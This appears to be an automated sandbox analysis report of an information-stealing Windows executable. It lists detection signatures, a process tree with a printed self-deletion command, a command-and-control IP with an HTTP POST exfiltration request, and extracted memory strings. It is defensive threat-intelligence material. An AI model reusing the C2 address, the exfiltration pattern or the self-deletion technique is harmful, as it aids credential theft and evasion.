Edit tour

Windows Analysis Report
app.exe

Overview

General Information

Sample name:	app.exe
Analysis ID:	1436386
MD5:	75b9ef9142a78671d449c8d22ab6be14
SHA1:	0461f1c46644acde8020bb59b53b1e34b65977ca
SHA256:	e9bc44cf548a70e7285499209973faf44b7374dece1413dfcdc03bf25a6c599c
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (creates a PE file in dynamic memory)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Contains functionality to infect the boot sector

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has a writeable .text section

Queries memory information (via WMI often done to detect virtual machines)

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Self deletion via cmd or bat file

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64native

app.exe (PID: 7652 cmdline: "C:\Users\user\Desktop\app.exe" MD5: 75B9EF9142A78671D449C8D22AB6BE14)

conhost.exe (PID: 7972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

app.exe (PID: 7132 cmdline: "C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe" MD5: 75B9EF9142A78671D449C8D22AB6BE14)

conhost.exe (PID: 7152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 1808 cmdline: cmd.exe /c timeout /t 5 & del /f /q C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe && exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

timeout.exe (PID: 1172 cmdline: timeout /t 5 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Snort Signatures

ET TROJAN Win32/FireStealer Related Server Response - Source IP: 144.208.127.230 - Destination IP: 192.168.11.20

Timestamp:	05/05/24-00:24:50.450010
SID:	2051909
Source Port:	80
Destination Port:	49789
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: api.ipify.org

Source: app.exe, 00000003.00000003.3182148991.00000000055CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: .www.linkedin.combscookie/ equals www.linkedin.com (Linkedin)
Source: app.exe, 00000003.00000003.3182148991.00000000055CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: .www.linkedin.combscookiev10 equals www.linkedin.com (Linkedin)

Source: global traffic

DNS traffic detected: DNS query: api.ipify.org

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 451Host: 144.208.127.230

Source: app.exe, 00000003.00000002.3294569055.00000000008CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.208.127.230
Source: app.exe, 00000003.00000003.3107954475.0000000000956000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3177623712.0000000000950000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3116384116.000000000091F000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3121520475.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3116384116.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3141697165.000000000559A000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3246373817.000000000094A000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3242018626.0000000005596000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3185017394.0000000005596000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3099980672.0000000000950000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3262410113.0000000005596000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3137031558.000000000558E000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3130432829.0000000005584000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3125985144.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3099980672.0000000000956000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3246373817.0000000000950000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3177623712.000000000094A000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3246373817.0000000000956000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3128278501.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3114168289.0000000005591000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3101657336.0000000000956000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.208.127.230/
Source: app.exe, 00000003.00000002.3296988780.0000000005518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.208.127.230/7
Source: app.exe, 00000003.00000003.3112020011.0000000000956000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3123955917.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3107954475.0000000000956000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3121520475.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3116384116.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3103448637.0000000000956000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3126108218.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3118889457.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3114263668.0000000000956000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.208.127.230/B
Source: app.exe, 00000003.00000003.3112020011.0000000000956000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3123955917.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3121520475.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3116384116.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3126108218.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3118889457.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3114263668.0000000000956000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.208.127.230/J
Source: app.exe, 00000003.00000002.3296988780.0000000005518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.208.127.230/U
Source: app.exe, 00000003.00000002.3296988780.0000000005518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.208.127.230/Y
Source: app.exe, 00000003.00000002.3296988780.0000000005518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.208.127.230/e&
Source: app.exe, 00000003.00000002.3296988780.0000000005518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.208.127.230/v
Source: app.exe, 00000003.00000003.3246373817.0000000000956000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3177623712.0000000000956000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.208.127.230/z
Source: app.exe, 00000003.00000003.3112020011.0000000000956000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3123955917.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3121520475.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3116384116.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3126108218.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3118889457.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3114263668.0000000000956000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.208.127.230/~
Source: app.exe, 00000003.00000003.3114168289.0000000005584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.208.127.230:80/
Source: app.exe, 00000003.00000003.3105612570.0000000005584000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3107523130.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3101845651.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3111746106.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3103619876.0000000005584000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3109755043.0000000005584000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3116136458.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3114168289.0000000005584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.208.127.230:80/-35b871f0a661
Source: app.exe, 00000003.00000003.3177623712.000000000090A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.208.127.230:80/-35b871f0a661ozi
Source: app.exe, 00000003.00000003.3130432829.0000000005584000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3132299964.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3132482295.000000000558B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.208.127.230:80/L
Source: app.exe, 00000003.00000003.3177623712.000000000090A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.208.127.230:80/R
Source: app.exe, 00000003.00000003.3105612570.0000000005584000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3107523130.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3111746106.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3109755043.0000000005584000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3116136458.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3114168289.0000000005584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.208.127.230:80/T
Source: app.exe, 00000003.00000003.3130432829.0000000005584000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3132299964.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3128278501.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3132482295.000000000558B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.208.127.230:80/o
Source: app.exe, 00000003.00000003.3139260264.0000000005588000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3123698644.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3134624186.0000000005584000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3130432829.0000000005584000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3132299964.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3125985144.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3128278501.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3139068962.0000000005584000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3116136458.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3136784723.0000000005586000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.208.127.230:80/w
Source: app.exe, 00000003.00000002.3294569055.00000000008CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://144.208.127.230U
Source: app.exe, 00000003.00000003.3093301962.000000000551F000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000002.3296988780.0000000005518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: app.exe, 00000003.00000003.3093301962.000000000551F000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000002.3296988780.0000000005518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: app.exe, 00000003.00000003.3093301962.000000000551F000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000002.3296988780.0000000005518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: app.exe, 00000003.00000002.3295913444.0000000002530000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://POSTHTTP/1.1Content-Type:
Source: app.exe, 00000003.00000003.3183161453.00000000058E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Abuse?mkt=EN-US&uiflavor=web&client_id=1E000040382627&id=293577&lmif=40&abr
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka.office.com/office/url/setup
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka.office.com/office/url/setupMicrosoft
Source: app.exe, 00000003.00000003.3245462405.00000000058E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://alldrivers4devices.net
Source: app.exe, 00000003.00000003.3246373817.000000000090A000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3177623712.000000000090A000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3093090885.0000000000913000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3092789933.000000000091F000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000002.3294569055.000000000090A000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3093090885.0000000000904000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://c2rsetup.officeapps.live.com/c2r/download.aspx?productReleaseID=HomeBusiness2019Retail&platf
Source: app.exe, 00000003.00000003.3183161453.00000000058E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.stubdownloader.services.mozilla.com/builds/firefox-latest-ssl/en-GB/win64/b5110ff5d41570
Source: app.exe, 00000003.00000003.3245462405.00000000058E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://consent.trustarc.com
Source: app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.packetstormsecurity.net/Crackers/bios/BIOS320.EXE
Source: app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=en-GB&attribution_code=c291cm
Source: Web Data.3.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: app.exe, 00000003.00000003.3188734917.00000000058E3000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3182590144.00000000058E8000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3183161453.00000000058E8000.00000004.00000020.00020000.00000000.sdmp, Web Data.3.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Web Data.3.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: app.exe, 00000003.00000002.3297646985.00000000055DC000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3292208873.00000000055DC000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3257419916.00000000055D6000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3261882543.00000000055DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://encrypted-tbn0.gstatic.com/licensed-image?q=tbn:ANd9GcRJX35jqtu8qT267s2bDnzhp-lJVMQdhF5S6U4t
Source: app.exe, 00000003.00000002.3297646985.00000000055DC000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3292208873.00000000055DC000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3257419916.00000000055D6000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3261882543.00000000055DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://encrypted-tbn0.gstatic.com/licensed-image?q=tbn:ANd9GcRgJaQoM7DXWRt-dg7YoOenavsVCx2_mgiT8oFn
Source: app.exe, 00000003.00000002.3297646985.00000000055DC000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3292208873.00000000055DC000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3257419916.00000000055D6000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3261882543.00000000055DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://encrypted-tbn0.gstatic.com/licensed-image?q=tbn:ANd9GcSFe5-1ue4YewDL7QTtYG5GBPfUy7h9iJ7t-0kd
Source: app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://javadl.oracle.com/webapps/download/AutoDL?BundleId=245029_d3c52aa6bfa54d3ca74e617f18309292K
Source: app.exe, 00000003.00000003.3242282826.00000000055C6000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3242197510.00000000058C6000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3246273895.00000000058E5000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3245462405.00000000058E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lh5.googleusercontent.com/p/AF1QipOvNh-L3TTVll_wDyQd66TEaShUCp3i0iabc8se=w92-h92-n-k-no
Source: app.exe, 00000003.00000003.3242282826.00000000055C6000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3242197510.00000000058C6000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3246273895.00000000058E5000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3245462405.00000000058E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lh5.googleusercontent.com/p/AF1QipPFr704HJkdqZ5xefxGs53Btx8SeAbaCnWxa6-y=w92-h92-n-k-no
Source: app.exe, 00000003.00000003.3182590144.00000000058D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: app.exe, 00000003.00000003.3182590144.00000000058D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com//
Source: app.exe, 00000003.00000003.3183161453.00000000058D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/https://login.live.com/
Source: app.exe, 00000003.00000003.3182590144.00000000058D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/https://login.live.com/0
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=13&checkda=1&ct=1632306401&rver=7.0.6738.0&wp=M
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=77f68844-337b-4044-a0d4-153795cf9153&scope=op
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/post.srf?client_id=77f68844-337b-4044-a0d4-153795cf9153&scope=openid
Source: app.exe, 00000003.00000003.3182590144.00000000058D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/v104
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/consumers/oauth2/v2.0/authorize?client_id=77f68844-337b-4044-a0d4-
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net/consumers/oauth2/v2.0/authorize?client_id=77f68844-337b-4044-a0d4-153795cf
Source: app.exe, 00000003.00000003.3093301962.000000000551F000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000002.3296988780.0000000005518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: app.exe, 00000003.00000003.3182859527.00000000055F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://office.com/setup
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://office.com/setupMicrosoft
Source: app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://packetstormsecurity.com/https://packetstormsecurity.com/files/download/22459/BIOS320.EXEhttp
Source: app.exe, 00000003.00000003.3245462405.00000000058E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recoveringlib.blogspot.com
Source: app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sdlc-esd.oracle.com/ESD6/JSCDL/jdk/8u301-b09/d3c52aa6bfa54d3ca74e617f18309292/JavaSetup8u301
Source: app.exe, 00000003.00000003.3182148991.0000000005603000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3178386939.00000000055E3000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3182859527.0000000005603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3182148991.0000000005603000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3178386939.00000000055E3000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3182859527.0000000005603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com.txt
Source: app.exe, 00000003.00000003.3182148991.0000000005603000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3178386939.00000000055E3000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3182859527.0000000005603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com.txt/
Source: app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com.txtD
Source: app.exe, 00000003.00000003.3182148991.0000000005603000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3178386939.00000000055E3000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3182859527.0000000005603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com/
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com;9
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/?ms.officeurl=setup
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/?ms.officeurl=setupMicrosoft
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/EnterPin?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/EnterPin?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8Microsoft
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/Home/EligibileActModern?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/Home/EligibileActModern?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8Microsoft
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/Home/Provision?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8.
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/Home/Provision?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8Continue
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/Home/Provision?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8Continue/
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/SignIn?ctid=34c190b7-c610-402a-b0d1-920cecdfcf12&redirectUri=https%3A%2F%2F
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/SignIn?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8&redirectUri=https%3A%2F%2F
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/SignIn?ru=https%3A%2F%2Fsetup.office.com%2F%3Fms.officeurl%3Dsetup2V
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/SignIn?ru=https%3A%2F%2Fsetup.office.com%2F%3Fms.officeurl%3DsetupSign
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/home/ProvisionLoading?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8-_
Source: app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/home/ProvisionLoading?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8Microsoft
Source: app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stubdownloader.services.mozilla.com/?attribution_code=c291cmNlPXd3dy5nb29nbGUuY29tJm1lZGl1bT
Source: app.exe, 00000003.00000003.3177221257.00000000055AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: app.exe, 00000003.00000003.3177221257.00000000055AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flashaert
